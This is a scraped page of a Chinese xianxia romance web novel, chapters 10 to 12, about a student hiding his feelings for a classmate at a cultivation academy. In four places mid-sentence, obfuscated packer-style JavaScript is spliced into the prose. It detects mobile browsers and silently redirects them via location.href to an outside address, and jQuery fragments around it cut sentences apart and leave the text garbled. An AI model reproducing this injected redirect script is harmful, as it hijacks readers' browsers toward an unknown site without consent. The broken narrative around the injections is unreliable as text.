任务布置下去之后,少年们都有了动作,纷纷打火开炉,炉灶下的火蒸腾起来,整个北星阁都变得热气腾腾。 明华潋将一份天北星配以辅材,用药杵研磨后,搓成丸子,放入丹鼎。 一只千纸鹤却忽然从旁边飞了过来。 是一张传音符。 他手指刚刚触碰到,就听到耳边传来宫昭的声音:“这次就算了,以后别再横插一脚。” 本就还没平复的心情,又像被针戳了一下。他深吸一大口气,只觉得心脏好像被狠狠揪了一把,又酸又痛。 往常情况下,这时候他答应一声就行了,但他忍了忍,还是没忍住:“我会看情况,做我该做的事。” “这话什么意思?”宫昭声音也沉下来:“你还要多管闲事?” 明华潋:“为什么不?” “原因呢?”宫昭质问:“你做什么多余帮余温雪?” 他反问:“那你的原因呢?你为什么要捉弄余温雪?” 明华潋紧紧咬着嘴唇,话刚脱口而出,他就有点后悔,不知道会得到怎样的回答?难道要听到宫昭亲口说喜欢余温雪吗? 他眨了眨干涩的眼眶,只觉得心间仿佛坠着一块巨石。 但他终究还是没等到回答,千纸鹤突然自燃起来。 他立即抬头,讲台上的明心尊主皱眉望过来:“上课期间小动作频繁,这么喜欢讲小话就出去讲,你们两个到门口站一个时辰再回来。” 众目睽睽之下,所有人目光都转过来,宫昭烦躁地暗骂了一句,二话不说站起来,起身就出去了。 明华潋脸红了,作为品学兼优的好学生,他还从来没有被老师罚站过,尤其是那一道道好奇的目光,就像是要把他若无其事的外衣剥离下来一般。 明心尊主看着他,无声催促。 他只好站起来,走了出去。 北星阁里热气蒸腾,走到外面,凉风拂面,他一下就清醒了。 其实如果没有昨晚的夜话,他也不至于这么委屈。宫昭希望他从撷英院毕业后跟他一起走,就好像他是什么很重要的角色一样,但现在又为了余温雪咄咄质问,这种心理落差让他难以接受。 他感觉到宫昭在看他,但他抿紧嘴唇,没有扭头。 鼻尖酸软,藏在袖口里的手指微微发抖,他捏紧了拳头,强迫自己不往宫昭那边看,他怕自己再次对上那质问的眼神,会绷不住一直以来艰难维持的形象,也怕泄露出一些不该泄露的心思。 今天太糟糕了,真是太糟糕了……他必须花时间,重新建设心防,被叫出来罚站已经够丢脸的,他不能再把不能表露的心思表露出来。想到宫昭会察觉到他的心意,那种可能性让他心跳骤停了一拍,无论如何,就算是死他也不想让人知道。 余温雪位置本就在靠窗户的这一边,他看到余温雪频频担忧地往这里看,估计是认为自己牵累了他。 他很讨厌别人同情的目光,尤其是余温雪的就更讨厌。他走到角落里,换了个方向,这样余温雪就看不到他了。 花了一个时辰,明华潋终于稍微冷静了一些,那些附着在他内心上的层层铠甲,之前被扒开的,又被他按了回去。 一个时辰刚到,余温雪就出来了:“快进来了,快进来吧。” 他顿了顿,装作冷静的样子走过去,也是这个时候他才发现回廊上不见宫昭的身影,不知道什么时候走了。一股微妙的失落席卷而来,但他没有让这种失落表现出来。 “不好意思华潋,都是因为我……”余温雪小声道歉。 “不。和你没关系,是宫昭自己没想清楚。”他故作平静回道。 和余温雪分开后,他慢慢走回到自己的位置。 一路上接收到多束好奇的目光,但经过一个时辰的心理建设,他的脸皮已经比城墙还厚,他装作不在乎那些目光,在自己的蒲团上坐了下来。 丹鼎炉火还在烧,丹已经成了。 他打开壶口一看,几枚丹药烧是烧好了,但外面已经焦了,掰开一看,里面都是湿润的碎渣,根本没有烧透,还散发出一股难闻的腥味。 明华潋刚想把毁丹拿到一边丢掉,毁丹就在他手心上碎成一滩药渣,又苦又腥的味道冲得他鼻头一皱。 望着满手的药渣,鼻头又开始酸涩,不知道是因为药渣的味道太难闻,还是今天糟糕的一天。渐渐的,他的眼圈默默发红,鼻子也像堵起来一样不通畅,他麻木地把药渣倒掉,清洗,又想着干脆搓个毒丸毒死宫昭好了。 当然,这只是一种泄愤的想法,他一边搓着药丹,一边走神地想到宫昭,不知道他什么时候走的?又去了哪里? 他刚把重新搓好的药丹放进丹鼎,就听到耳边响起一道好奇的声音:“你在烤土豆吗?” 他惊了一下,发现江郁故不知道什么时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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邬缪:“江郁故能施展全五行法术,还都是高阶法术,之前淘沙院五行道术这门课的考核,五个系法术考核都拿了满分。” “……”明华潋一时间不知道说什么。 他太震惊了,一般来说,火灵根只能施展火系法术,水灵根只能施展水系法术,而火灵根想要学习水系法术,基本上是不可能的,因为水火本质相克。他灵根比较特殊,不属于基础的五系灵根,所以没有灵根相克,但也只能学会一些基础的法术,比如唤火术,小洗涤术之类,甚至学这些都很勉强。 五行道行这门课当时也是选修课,大家只要选择自己灵根对应的那门课去学就行,考核也是分为五场,大多数人只考与自己灵根对应的那一场。 明华潋选修了水火双系,最后考试两门都只拿基础分,因为他不是五系灵根,进阶考核没法完成。但现在他听到了什么?江郁故五门考核都拿了满分? 他只知道江郁故地缘学课交了白卷,没办法,谁让宫昭总念叨这个,但从来不知道江郁故五行道术是满分,难怪江郁故能进撷英院。 这突如其来的震撼,让他整个人都懵了,他之前一直都以为江郁故是那种不学无术交白卷的家伙,没想到只是偏科而已。 “我厉害吗?”江郁故笑容满面。 他喉咙干涩,点点头:“很厉害。” 不知是丹鼎的炉火太猛了,还是有点羞愧,之前把江郁故想的太差了,只觉得阵阵热气,烘得他浑身炙热。 他解开玉带,让领口微微敞开才觉得凉快一些,江郁故眼尖注意到快被他遗忘的事:“咦,你换了玉带?” 明华潋这才想起来自己还系着宫昭送他的东西,当时收到礼物的时候,他觉得如获至宝,现在却越看越觉得憋闷,他原本以为宫昭在意他才会送他礼物,但如果真的在意他,就不会为了余温雪跟他吵架。 出于自尊心,他不想再戴宫昭送他的东西,玉狐络带似乎也察觉到自己要被丢掉了,紧紧缠着他的手指。 他虽然内心还有一点舍不得,却还是扔给江郁故。 “是送给我的吗?”江郁故很高兴:“给我的奖励?” 他说:“反正我不要了。” 江郁故眨眨眼,然后捧起玉狐络带左右端详,又对着自己的腰比比划划,随后发出一声赞叹:“华潋腰真细。” 明华潋以为他在调侃,狠狠瞪他一眼。 真是,讨人厌的家伙。 10. 生存 最后,他卡着下课的时间炼出成丹,而宫昭不仅逃课也没上交成丹,被明心尊主罚抄《丹本经·壹》十遍。 但明华潋觉得这点惩罚对于宫昭来说不痛不痒,毕竟他能让严再樟、鱼佑几人帮他抄,而明心尊主检查的也不严格,很容易就能糊弄过去。 翌日,不知是不是昨晚温习功课太晚的缘故,一早明华潋的胃就有点轻微不舒服。 他装作不经意瞥了一眼旁边,宫昭的座位是空的,直到开始上课宫昭才踩着点进来。 午膳时间,娄绣石和夏淳等几个人吆五喝六,围着宫昭聚在一起吵吵闹闹聊天。 云飨斋坐落于云飨瀑泉,虽说修者筑基后便会辟谷,但辟得却是凡间五谷,像是灵花奇果修者也都会吃的,这些集天地精华长大的,都是增加灵气的好东西。 修炼光靠打坐是很慢的,修者获取灵气除了打坐之外,还有吸收灵食以及药膳,而嵇云学院每日都会安排膳食。 云飨斋共有七层,一二层是伙房和储备食材的地方,三四五层是淘沙院弟子用膳的地方,而第六层则是撷英院弟子用膳的地方,至于第七层则还在修缮。 而负责将膳食分盘,又送到每个人手上的“值班生”,则由淘沙院弟子轮流担任,往往是从各班抽取五十人,这些人肩上会佩戴袖章方便辨认。 明华潋用膳一向安静,他今日本来胃有点不舒服,午膳是灵羊奶酪汤,暖融融的,倒让他的胃好受不少。 邬缪端着碗从夏淳身后经过,夏淳正与娄绣石嘻嘻哈哈,只感觉身后有人经过,还以为是值班生,使唤道:“再给我拿一碗来。” 邬缪本想说自己不是值班生,但一抬头看到夏淳的侧脸,便把自己那一碗给了夏淳。 他招惹不起夏淳,又自己找值班生要了一碗。 明华潋皱了皱眉。 修者感知比普通人更敏锐,夏淳即使不回头,也该知道身后不是值班生,却依然有意去使唤对方。与其说他是目中无人,倒不如说是故意的。 夏淳似乎对那些用功学习的都很有偏见,他差不多能猜到这种人的心理,真是自己不想好,也见不得别人比自己好。 他收回视线,不想再往那边看,不想看到夏淳,也不想看到他身边的宫昭。 往常他都是坐在宫昭左手边的位置,但今天不知道是不是娄绣石敏感察觉到他们气氛僵硬,抢先一步坐在了那个位置上,而宫昭也对这个变化无动于衷。 原本的位置被占了,要是他再坐到宫昭的右边,倒成了他热脸贴冷屁股,他的自尊心是不允许的,于是他装作毫不在意,坐到了所有人的对面。 只是令他没想到的是江郁故也跟着坐在他的旁边。 他下意识问,“你为什么坐在这里?” “我一直都坐这儿呀。”江郁故打了个哈欠,慢悠悠道。 “……” 明华潋这才想起来,这原本是江郁故的位置。 “抱歉,抢了你的位置,”他不怎么真诚的道歉,发现江郁故托着下颔,一副没睡醒的样子,又想到江郁故每到白天上课就睡觉,突然被激起了好奇心:“你每天晚上都在干什么?” “嗯?”江郁故歪了歪头。 明华潋的好奇心严格说起来也不是突然的,一直以来他都很好奇。从淘沙院入学开始江郁故一直都是这样,白天仿佛睡不醒的样子。与之相对的,明华潋即使通宵看书都很难感觉疲倦,所以自然而然对江郁故这种行为产生了好奇。 又或者是因为对面宫昭和娄绣石聊天,衬得他很孤单,所以吞下一口奶酪羹后,他主动发出疑惑:“你白天总是很困,所以想问你晚上都在干什么?” 看吧,宫昭,我也不是只能跟你聊天,你和你的朋友们聊天,我也可以和江郁故聊天。 他怀着赌气的心情想着。 只是他自认为这不是一个困难的回答,江郁故却用一种微妙的,他看不懂的目光俯视着他。 “现在还没办法告诉你。”最终,江郁故说。 他觉得江郁故在故弄玄虚,既然不愿意告诉他,他也不打算跟江郁故搭话了,把头扭回来,专心用膳,却听见江郁故:“奶酪羹……” “我要吃!”他护住碗。 “我是说……”江郁故慢悠悠道:“你要不要吃我的?” “不要。”他说。 江郁故:“我的比你大。” 明华潋脸颊浮起红晕:“你说什么肮脏的……” “碗啊。”江郁故把自己的碗推到明华潋的边上,对比之下,果然比他的大上一圈。 他尴尬地捂住脸,用手背给滚烫的脸颊降温。这也太过分了,云飨斋连碗都要分大小吗?他也是头一次知道。难道值班生是按照体型来分膳食的吗? “刚才是不是有人想歪了?”江郁故笑嘻嘻问。 “……那还不是因为你说得含糊不清。”他辩解。 正当他尴尬之时,对面忽然爆发一阵喧哗,宫昭的声音尤其清晰:“你真的看到了?” 鱼佑拍着胸脯:“那可不,我两只眼睛瞧的清清楚楚,就在藏书阁。” 夏淳:“胡诌吧,你小子功课都懒得做的,还会去藏书阁?” “咳,那不是想去看看有没有什么风月书籍吗。”鱼佑眼珠子一转,道:“这不是重点,重点是严再樟这厮和合欢中那个扎桃花簪的在书架后接吻。” “嚯,可以啊,”宫昭挑起眉毛,笑着夸赞严再樟:“没想到你倒是先博了美人青眼。” 严再樟嘿嘿一笑。 夏淳嗤之以鼻:“呸,喜欢个油嘴滑舌的东西,真没眼光。” “这是妒忌了吧?”娄绣石嘲笑。 “鬼才妒忌他……” * 一天课终于画下句点,明华潋赶紧到藏书阁占位置。 进门时,他看到一头高三丈,外貌似虎非虎的兽,正昂首阔步在门口逡巡,其体表泛着青铜色的光泽,不怒自威。这便是星川尊主炼制的机关兽。 藏书阁内禁言,若机关兽察觉有人在藏书阁聊天说小话,便会掀起狂风把人扔出阁外。 今日在课上他有两处概念不明,便借阅了两本相似的书籍,找了个空的位置,坐下来研读。 不经意抬首间,他注意到窗户有一道人影一闪而过,有点像宫昭,但对方怎么会到这个地方来? 他以为是自己眼花看错了,闭上眼睛,揉了揉太阳穴,再睁开时居然看到宫昭当真从门口走进来,目光似乎在寻找着什么? 昨天刚吵过一架,他满心不自在,又在想宫昭要是来找他的话,他犹豫要不要打招呼,但有了前车之鉴,他也不想自作多情,也许余温雪也在这里,他是来找余温雪的也不一定。 想到这种可能性,他的心情又恶劣了起来,也没有再往宫昭那里看。而是低头看着书本,坐立针毡地期盼着时间过去,最好宫昭没找到想找的人赶紧走。 脑海里正思绪混乱,他突然感觉身边的人站起来,转头一看,宫昭正站在那里,不耐烦地敲了敲桌子。 原本坐在他旁边的同学吓得埋头整理书本然后撒腿就跑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606470|205744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 对方人一走,宫昭就环着手臂大咧咧坐下来。 “中午为什么不坐在我边上?” 明华潋深吸一口气,把脸扭了回来,没理他。 “为什么不说话?”宫昭又问。 “……” “呼……”宫昭抬高声音:“明华潋,我在跟你说话呢!” 周围其他人目光瞬间望了过来,明华潋捏紧拳头,瞥见门口机关兽的身影,压低声音道:“藏书阁禁言,你不要在这里大声喧哗。” 宫昭烦躁地踢了一下桌子,明华潋没理他,故作平静地把脸又扭了回来,现在他以为宫昭碰了壁,肯定是要甩脸就走的时候,额头忽然被什么东西轻轻撞了一下。 低头一看,一只千纸鹤落在书页上。 有之前宫昭质问他的前车之鉴,他犹豫了一会,才把手放上去,传音符很快传来宫昭的声音:“你为什么不和我说话,那么冷淡?” 他问:“说什么?” 宫昭:“中午为什么不一起坐?刚才为什么不回答我。” “你想是问这个,才找过来的吗?”明华潋反问。 “当然了,”宫昭道:“你突然坐在对面,不在我边上坐,用午膳的时候也不和我们聊天。” 那是因为他本来就对聊天没有什么兴趣。 明华潋有点郁闷,他以为两个人是在置气,但宫昭却像什么都没发生一样。 他是知道宫昭的脾气来的快,去的快,现在他要是再表现的耿耿于怀,就好像只有他不太成熟一样。 仔细想想,宫昭虽然害得他出糗被罚站,但他也让宫昭计划落空,白等了一个中午,这么想,他们也能算是勉强扯平。 不过有一个问题,他必须要说清楚:“不是我不想坐在你旁边,是娄绣石占了那个位置。” “对,”宫昭道:“所以我说过他了。” “嗯?” “我警告了娄绣石,他以后不敢再这样了。” “……”这是明华潋没想过的,宫昭居然为了他下娄绣石的面子,心底有一层不爽的褶皱,被抹平了一些。 沉默了片刻后,他缓缓开口:“你为什么捉弄余温雪……” 顿了顿,又问:“是因为喜欢他吗?” 即便很抗拒、抵触,不想问这个问题,但他还是问了。 他想知道宫昭心里究竟是怎么想的,要是宫昭是真心的,他就无话可说,为了问这个问题,他花了两天时间做心理预期,无论宫昭怎么回答,他都有信心保持表面平静。 但宫昭的回答出乎了他的预计:“喜欢?只是觉得有趣罢了。” “只是这样吗?” “不然呢?” 这番话对于余温雪来说或许有点残酷,但对于把整颗心脏都泡在坚冰里,苦苦挣扎了两天的明华潋来说,犹如温暖的春水让坚冰终于慢慢融化。 是的,兴趣……这真是宫昭式的回答,他怎么敢想宫昭会有真心呢?在修真界这个残酷的世界里,资源总是向世家子弟倾倒。宫昭是众星环绕的天之骄子,他理应当有各式各样的兴趣,从淘沙院到现在,宫昭的兴趣一直都有,一直都在变化,所以这次对余温雪,也不会有什么不同。 心底的那股焦躁感终于减弱了,当然,他也期盼宫昭的兴趣早日消失。 当然,他也知道自己的心情很卑劣,就像一只狡猾的狐狸占据着宫昭朋友的位置,内心却怀着见不得光的心意。 但这就是他的生存法则。 在狼群之中,狐狸只能谨慎又狡猾得活着。 11. 清扫 “哎,你们发现没?绣石现在穿得一天比一天骚包。”阴岚尊主前脚刚出门,夏淳就开始嚷嚷。 娄绣石勾起嘴唇笑,不以为意:“美人晚上过生辰,我打扮得花哨一点,坐在美人边上,不是也给她长脸吗?” “有道理。”鱼佑附和,又问:“美人过生辰会摆宴吗?咱们能不能去掺和一脚?” 夏淳嗤笑:“你就别想了,人家只邀请了宫昭和娄绣石。” “欸,宫哥你礼物准备好没有?”娄绣石对宫昭说:“跟哥们通个气,我看看我送的贵了还是便宜了?” “这你也要攀比?”宫昭轻嘲,把自己要送的礼物说了。 恰好余温雪从后门走进来,听见了他们的对话,脸色略微有点苍白。 沉默地坐回位置上。 似乎是因为有严再樟这个先例开了头,大家都在赌下一个博得美人青睐的人是谁? 而由于之前丹鼎的事情,余温雪也和宫昭闹了脾气,宫昭越发经常跑去美人榭鬼混,当然他周围的那群人也都跟他一样。明华潋心里虽然也不舒服,但随着时间拉长,再深的褶皱也会被慢慢抹平。 或许他的心依旧能感觉到疼痛,但这种感觉就像是拿着绵密的小针轻戳皮肤,前几次刺痛难忍,后面就慢慢习惯了。 他将更多的时间投入到学习中,偶尔也会看些坊间流行的话本小说。里面角色的爱情大多不能善终,甚至一些大能都逃脱不了情爱怪圈,他就用这种方式来抚平自己心底的褶皱和创伤。 那些遥不可及的人都深陷在爱情的泥沼中苦苦挣扎,那么他经历的这些似乎也变得顺理成章。 爱情本就不止缠绵,还有痛苦。 甚至甘饴是一时的,而痛苦则是长久的,他这么告诫自己。 不知不觉间,又轮到他要负责清扫藏书阁的日子。 一般来说,藏书阁的清理由淘沙院和撷英院两院共同负责,十人一班轮转,上一次已是一年之前。 他对于此套流程已经相当熟悉,先到仄间,由杂役弟子将扫帚和簸箕分发给他们。 就是在这里,他见到了其他几个跟他一起负责今天打扫的人,发现了一个让他意外的身影。 “江郁故?” 江郁故抬眼看到他,然后就笑了。 “你怎么在这里?”明华潋问。 江郁故走了过来,手臂自然地搭在了他的肩上,他听到江郁故慵懒的嗓音就在他的耳边:“我要和那个人换时间。” 他顺着江郁故手指的方向,看到一个少年,也是撷英院的,不过是别的班的。 “你要和他换要征得他的同意。”明华潋无语。 江郁故笑了起来,瞥了对方一眼,少年腰板瞬间站直了,连连点头:“是的是的,我同意的,同意了的。” “你看吧?”江郁故笑眯眯的。 明华潋没话说了,但看那名少年诚惶诚恐的样子,他怀疑受到了江郁故的威胁,他之前还觉得江郁故和宫昭不像是一类人,现在看来分明也是一个样。 就在这个时候,他看见江郁故把一个锦囊交给了少年。 “谢谢。”少年面露感激。 “那是什么?”他忍不住问。 “百年花魂。”江郁故说:“这是我给他的好处。” 明华潋一下就反应过来:“是炼情人符的材料。” “所以是一个公平交易。”江郁故耸耸肩,依旧是眉眼带笑:“我做得对吧?” 明华潋深吸一口气:“你是不是不知道百年花魂的价值?” “不知道啊。”江郁故摇了摇头。 “……” 明华潋很想说你这是被骗了,但他看着江郁故笑吟吟的脸,最终什么都没说。 分配完各自负责的区域后,他提着扫帚和簸箕来到一楼楼梯后面区域,江郁故负责在区域就在他边上,他们两个人是一块走的。 他说:“情人符能感知对方的方位,情绪,两人互相靠近情人符还会发光发热。刚才那位同学应该是有思慕之人了。” 江郁故:“哦。” “前几天严再樟也送给那个和他关系不错的合欢宗弟子一枚情人符。”明华潋说:“彼此思慕的一些人之间都会互送礼物。” 江郁故不经意提起:“就像宫昭去美人榭也经常带礼物去,是这样的吧?” “……” 没想到江郁故会提到宫昭,明华潋想到宫昭常常去美人榭厮混,心情又复杂、糟糕起来。 但注意到江郁故的目光,他呼出一口气,维持着表面的平静:“嗯。” 江郁故看着他,笑了起来,意有所指:“一个群体里都是这样,很相似的,不论是品性、还是对恋爱的看法。” 没想到能从江郁故嘴里听到如此哲性的话语。 明华潋想了想,确实有几分道理,一个群体之所以能凝聚起来,就是因为有共性。 他不由又感到好奇,江郁故看的如此清晰,他的恋爱观又是什么样的呢? 他看着江郁故,江郁故垂下眼帘,随意捏了个法诀,扫帚和簸箕就如同被操控一般,自己动了起来。他专注于江郁故的神情,江郁故眼皮半垂,手捏法决,有一种特别吸引人的寂静忧郁。 “那你呢?”他忍不住问,“你对于爱情的想法是什么样的……” 江郁故:“我不会随便找道侣。” 明华潋:“我知道,我只是问你对爱情的看法……” 他问的只是江郁故对于恋爱的想法,没有问道侣,毕竟嵇云学院里学生之间恋爱的情况也很多,但结为道侣的寥寥无几。 “我的爱情就是要结为道侣啊,华潋。”江郁故居然严肃起来。 放眼整个修真界,结为道侣也是一件庄重严肃的事情。 首先是性命相关,大道相牵,结为道侣意味着元神交融,一荣俱荣一损俱损。其次家族也会交织在一起,意味着彼此资源、秘法都是共享的。最后一点也是最关键的,结为道侣意味着天道为证,若违背誓约者会遭天罚。 所以若非感情真的浓厚到一定境界,不然不会有修者会愿意结成道侣。 但江郁故居然说他的爱情一定要结为道侣……不得不说这个想法过于传统和庄重了。 就连明华潋自认为喜欢宫昭许多年,却也没有想过结为道侣这回事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606471|205744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这样呀……” 他尴尬地碰了碰耳朵,觉得自己的问题在江郁故面前显得有点轻浮。 正想转移话题,就瞥见了江郁故腰上的玉佩,那是一块完整的黑血玉,雕刻成了某种狰狞兽状:“总是看你戴这块玉佩。” 江郁故低头瞥了一眼,随意拨弄玉佩,“嗯”了一声。 明华潋莫名想到昨天布置下来的功课,他来到藏书阁,查了几本书都没找到出处。 “你知道形似豹,白身善伏,隐于山川,是何灵兽?” 他见江郁故腰间的玉佩与他要找的灵兽外形相似,却不是白色而是黑色,也就是随口一问,没抱希望。 但江郁故却开口道:“孟极。” “这个名字从未听过。”明华潋想了想。 江郁故:“跃于石山间,此石山蕴玉藏瑶碧,瑶碧莹然如雪,山石间有西流的河,名为泚水,蜿蜒如玉,终注入两河之中。??” “……” 明华潋将信将疑,最开始还以为是江郁故胡诌的。 但他又和江郁故聊了聊,发现江郁故对于灵兽颇为了解,不止听说过许多他闻所未闻的罕见灵兽。对于一些常见的灵兽也是如数家珍,挑不出任何的错处。 他忍不住问:“你兽语课不会是满分吧?” “你看过我考卷了?”江郁故诧异。 “……” 明华潋又一次被颠覆了,兽语课也是一门比较冷僻的课,涵盖了考核灵兽辨别、兽语学习、灵兽饲养等等范围,尤其是甄别兽语,对于大多数人来说简直太难了,就算是明华潋也不能百分百分辨出来。 “你居然能分辨出杜杜鸟和鹃儿鸟……”他难以置信。 “华潋,”江郁故亲昵地叫着他的名字,然后指了指自己的耳朵:“我不仅眼尖,耳朵也很好用。” “……是吗?” 眼看着夕阳西下,太阳就快下山了,明华潋打算去打扫最后一片区域。 不经意间瞥到书架,他才忽然想起来那天宫昭把他从藏书阁拉走,他匆匆把书籍还了回去,但好像把宫昭的传音纸鹤落在了里面。 这种传音纸鹤是能够收录两个人对话的。他连忙把那本书翻找出来,打算把传音纸鹤拿走。 “你在看什么书?” 扭头一看,江郁故居然走了过来。 “你怎么过来了?”他一下慌乱起来。 江郁故:“我已经做完了呀。” 他本来想把书往身后藏一藏,但江郁故已经注意到了他手里的书,他又不能藏的太明显,但没想到江郁故竟然探手,想把这本书拿过来。 “等等,你不能看。”他躲了躲。 江郁故扬起一侧唇角:“为什么不能看这本书?” “因为……”他不想传音纸鹤被发现,尤其是江郁故,江郁故比他想的聪明的多,一旦发现传音纸鹤,很有可能发现他对宫昭的感情,他紧张地咬住嘴唇:“因为我还没看完,看完就给你看。” “果真是想成仙人啊,”江郁故笑了起来:“真用功啊。” 明华潋莫名觉得这句话很刺耳,更像是一种讽刺。 12. 吃瘪 等到他费尽口舌,好不容易劝走了江郁故,再打开书籍去翻,却没在里面发现传音纸鹤。 同一本书籍藏书阁里只有一本,这意味着现在有两种情况。 一种情况是他当时拿走了,但是忘了丢在哪了,还有一种情况是他确实没有拿走,但是先一步被别人拿走了,在他看来,后者的可能性更大。 他仔细回想了一下,当时跟宫昭的交谈内容,并没有什么见不得光的事情。 也没人规定朋友之间不能吵架对吧?所以他和宫昭的谈话也没有什么问题。即便是反复安慰自己,但一想到传音纸鹤可能会被别人捡走,有人或许会发现他的心意,他就油然生出一种压抑,恐惧又兴奋的感觉。 忐忑持续了大半个月,直到一切如常,他紧绷的心弦才略微放松一些。 这段时间宫昭和余温雪的拉锯也在持续,经常有合欢宗弟子到撷英院来找宫昭,宫昭也来者不拒,和她们就在回廊的花树下聊天,银铃般悦耳的笑声经常传到学堂里。 他看得出来,宫昭是想用这种方式来吸引余温雪的注意,但偏偏余温雪不吃这一套。每到这个时候就跟个石头一样,坐在座位上没有任何的反应。 明华潋面对这样的场景,当然也会心痛,但他更担心传音纸鹤的事。 只是宫昭似乎见不得他闷闷地坐在学堂里,每次出来见合欢宗的弟子也都会强行带上他一起。 每次这个时候,他就会觉得宫昭真让人厌烦,他厌烦宫昭幼稚的行径,罔顾他的意愿,非带他出来掺和不爱掺和的事,也厌烦他的注意力总是不在他身上。 撷英院回廊下有一棵四季花开不败的桃暎树,撷英院多栽雪梨树,桃暎唯独就这么一株,在铺天盖地的雪白色中唯一抹粉色如此的惹眼。 微风一荡,粉嫩的花瓣簌簌飘落,犹如粉色的花海,洋洋洒洒,其中荡漾着柔和的灵蕴微光,让人流连忘返,许多互相思慕的少年少女尤其喜欢在这里互诉衷肠,立下海誓山盟,每次合欢宗弟子来撷英院也喜欢约在这里。 “每每到这里来,都感觉撷英院的美景,真是怎么也看不够呢。”合欢宗美人道。 “是啊,一步一景,比美人榭那边好多了。”另一个美人也点点头。 “毕竟撷英院可是嵇云最精英的学堂了,其他的地方根本没法比。”夏淳说。 眼看着美人们面面相觑,娄绣石在心里暗骂夏淳这个没脑子的蠢货,连忙笑盈盈地把话接过来:“哈哈,其实嵇云哪里都有美景的,美人榭的十里莲海也很美呀,但美人们喜欢这里就留下来呀,我们也乐意天天见到美人,比花还美。” 耳边吵吵嚷嚷,明华潋站在宫昭身边,一直都在走神,他并不想坐在这里,也真心对这样嘈杂的环境感到厌烦。 微风摇曳,不停有花瓣落在他的肩上。 他抬手掸了一掸,抬头撞上一道熟悉的目光,像是江郁故正静静俯视着他们。 “华潋,”宫昭说:“你有没有喜欢的美人?” “我没喜欢谁。”他说。 再回头,窗口那道身影已经消失了。 * 合欢宗弟子频繁来到撷英院,有关他们来研学的消息也终于在嵇云学院传开了。 进入嵇云的少年大多十五、六岁,从小就被家族寄予厚望,学习、修炼占据了他们绝大部分的时光,就像亘古、单调的水墨画卷,缺少一抹稠丽活泼的色彩。 合欢宗弟子便是这欠缺的一抹颜色,尤其是合欢宗缠绵瑰丽的秘法让少年们充满新奇和旺盛的探知欲,撷英院其他的班,包括淘沙院的少年都争先恐后的结交合欢宗弟子,以与他们结识为荣,甚至逐渐形成了班级间攀比之风。 而宫昭毫无疑问是最受人羡慕的一个,性格狂妄不羁,充满了个人魅力,不止有一个合欢宗弟子对他表露过好感,但就在这个时候,宫昭却忽然不怎么去美人榭了,夏淳之类的人顿感奇怪,但明华潋却知道那是因为余温雪。 宫昭看似周旋在合欢宗的美人之间,实则却是为了引起余温雪的注意,在发现没有效果后,宫昭又耍起了新的手腕。 “咣当。” 不知是第几次不经意被宫昭撞掉笔记,这次机关学作业落在地上坏掉。 余温雪捡起来检查,发现掉了两个零件,终于忍不住皱起眉头:“你能不能不要再撞我了,我机关学的作业都被你撞到地上了。” 余温雪不高兴的时候,发脾气也是温温和和的。 “怎么了,”宫昭双手往袖口里一插,“我想往哪里走就往哪里走。” 余温雪:“但你不止一次撞到我了,之前是笔记、砚台,现在是我的作业。” “那又怎么样呢?”宫昭状似漫不经心地说。 “……”余温雪盯着他,半响,忽然揉了揉眼眶。 宫昭是故意想引起余温雪的注意,没错,但余温雪真的眼睛红了,他心里又觉得烦躁:“多少钱,我赔给你。” 余温雪:“我不要你赔。” “说了赔给你。”宫昭皱眉。 余温雪:“……我不要。” “说。不然老子有空陪你慢慢玩儿。” 明华潋装作专心修改笔记,实际上早就走神了,在经历过创伤心痛后,他感觉自己的心脏都被磨出了一层厚厚的茧。 即便是眼前的一幕,一次又一次地刺痛他的眼睛,但他还是受虐一般冷静地旁观着。 从他一直以来的观察来看,宫昭每次烦躁恼怒,悲伤心情波动的时候都有个小习惯,就是用拇指摩挲满风寂的剑鞘。 即便宫昭把每一次不小心碰撞都装成意外的样子,小动作却还是暴露他内心的波澜汹涌。 明华潋紧紧捏住拳头,有点讨厌自己细致入微的观察力,如果他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606472|205744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头脑更愚钝一些,也许不会有这么多的烦恼。 但他也没想到让宫昭吃瘪的速度来得这么快。 下一堂课是机关学,星川尊主醉心于新机关兽的炼制,课程由座下大弟子暂代,而且是两个班共同授课。 